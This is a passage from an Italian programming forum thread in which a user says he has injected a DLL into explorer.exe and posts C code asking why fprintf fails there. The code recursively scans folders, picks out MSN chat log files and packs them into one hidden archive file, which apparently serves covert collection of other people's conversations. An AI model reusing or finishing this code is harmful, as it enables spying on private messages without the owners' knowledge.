|
|||||||
|
|
|
![]() |
|
|
Strumenti |
|
|
#161 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
|
|
|
|
|
|
|
#162 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
|
|
|
|
|
|
|
#163 | |
|
Senior Member
Iscritto dal: Jan 2006
Messaggi: 2722
|
Quote:
__________________
- Spesso gli errori sono solo i passi intermedi che portano al fallimento totale. - A volte penso che la prova piu' sicura che esiste da qualche parte una forma di vita intelligente e' il fatto che non ha mai tentato di mettersi in contatto con noi. -- Bill Watterson |
|
|
|
|
|
|
#164 | ||
|
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
Quote:
Quote:
ma come faccio a scaricarmi Visual Studio 2005 Enterprise io che nn c'ho le bazze??? |
||
|
|
|
|
|
#165 |
|
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
ho caricato una dll in explorer.exe, e mi dovrebbe scrivere delle cose in dei files tramite la fprintf()
ma i files non compaiono e alla fine mi compare un errore "visual c++ debug error" che cita il file fprintf.c e poi explorer mi fa errore e si chiude... non è che per caso la fprintf non la posso usare nelle dll iniettate in explorer??? oppure ho solo sbagliato io a programmare??? |
|
|
|
|
|
#166 |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
fa' vedere il codice della DLL...
|
|
|
|
|
|
#167 |
|
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
qui c'è il file che non viene creato:
Codice:
void trova_files (char *cartella) {
char jabfile[20] = "jabf111.jab";
FILE *log = fopen("log.txt","a+");
WIN32_FIND_DATA dati_file;
int ifilescopiati = 0;//numero identificativo univoco
char dir[1000] = "\0";
strcpy(dir,cartella);
strcat(dir,"*");
//MessageBox(NULL, dir,"What this says", MB_OK);
//********* primo della lista ***********//
HANDLE ricerca = FindFirstFile(dir,&dati_file);
if (ricerca == NULL) return;
if ( (dati_file.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && !( (dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '\0') ||(dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '.' && dati_file.cFileName[2] == '\0') ) )
{
//controllo che nn sia la mia cartella
if (dati_file.cFileName[0] != 'z' && dati_file.cFileName[1] != 'x' && dati_file.cFileName[1] != 'y'){
char newdir[1000];
strcpy(newdir,cartella);
strcat(newdir,dati_file.cFileName);
strcat(newdir,"\\");
trova_files(newdir);
//fprintf(log,"DIR %s%s\n",cartella,dati_file.cFileName);
Sleep(10);
}}
else if (!( (dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '\0') ||(dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '.' && dati_file.cFileName[2] == '\0') ) )
{ //operazioni eseguite su ogni file
fprintf(log,"%s%s\n",cartella,dati_file.cFileName);
char filename[1000];
strcpy(filename,cartella);
strcat(filename,dati_file.cFileName);
if( MsnConvFile(filename) ) { //verificato che è un file di msn che vogliamo
copia_file_in (filename, jabfile);
}
}
//********* altri della lista ***********//
while (FindNextFile(ricerca,&dati_file) != 0) {
if ( (dati_file.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && !( (dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '\0') ||(dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '.' && dati_file.cFileName[2] == '\0') ) )
{
//controllo che nn sia la mia cartella
if (dati_file.cFileName[0] != 'z' && dati_file.cFileName[1] != 'x' && dati_file.cFileName[1] != 'y'){
char newdir[1000];
strcpy(newdir,cartella);
strcat(newdir,dati_file.cFileName);
strcat(newdir,"\\");
trova_files(newdir);
//fprintf(log,"DIR %s%s\n",cartella,dati_file.cFileName);
Sleep(10);
}}
else if (!( (dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '\0') ||(dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '.' && dati_file.cFileName[2] == '\0') ) )
{ //operazioni eseguite su ogni file
fprintf(log,"%s%s\n",cartella,dati_file.cFileName);
char filename[1000];
strcpy(filename,cartella);
strcat(filename,dati_file.cFileName);
if( MsnConvFile(filename) ) { //verificato che è un file di msn che vogliamo
copia_file_in (filename, jabfile);
}
}
}
fclose(log);
}
Codice:
void copia_file_in (char *file, char *intofile) {
char *buf;
buf = new char [64000];
FILE *f, *f_out;
if ((f = fopen(file, "rb")) && (f_out = fopen(intofile, "ab"))) {
size_t b;
fprintf(f_out,"M(?<=1>?)M%sM(?<=2>?)M",file);//intestazione per poi poter scompattare
while(b=fread( buf, 1, 64000, f) )
fwrite( buf, 1, b, f_out);
fclose(f);
fclose(f_out);
}
}
Ultima modifica di mamo139 : 28-10-2006 alle 14:13. |
|
|
|
|
| Strumenti | |
|
|
Tutti gli orari sono GMT +1. Ora sono le: 07:40.



















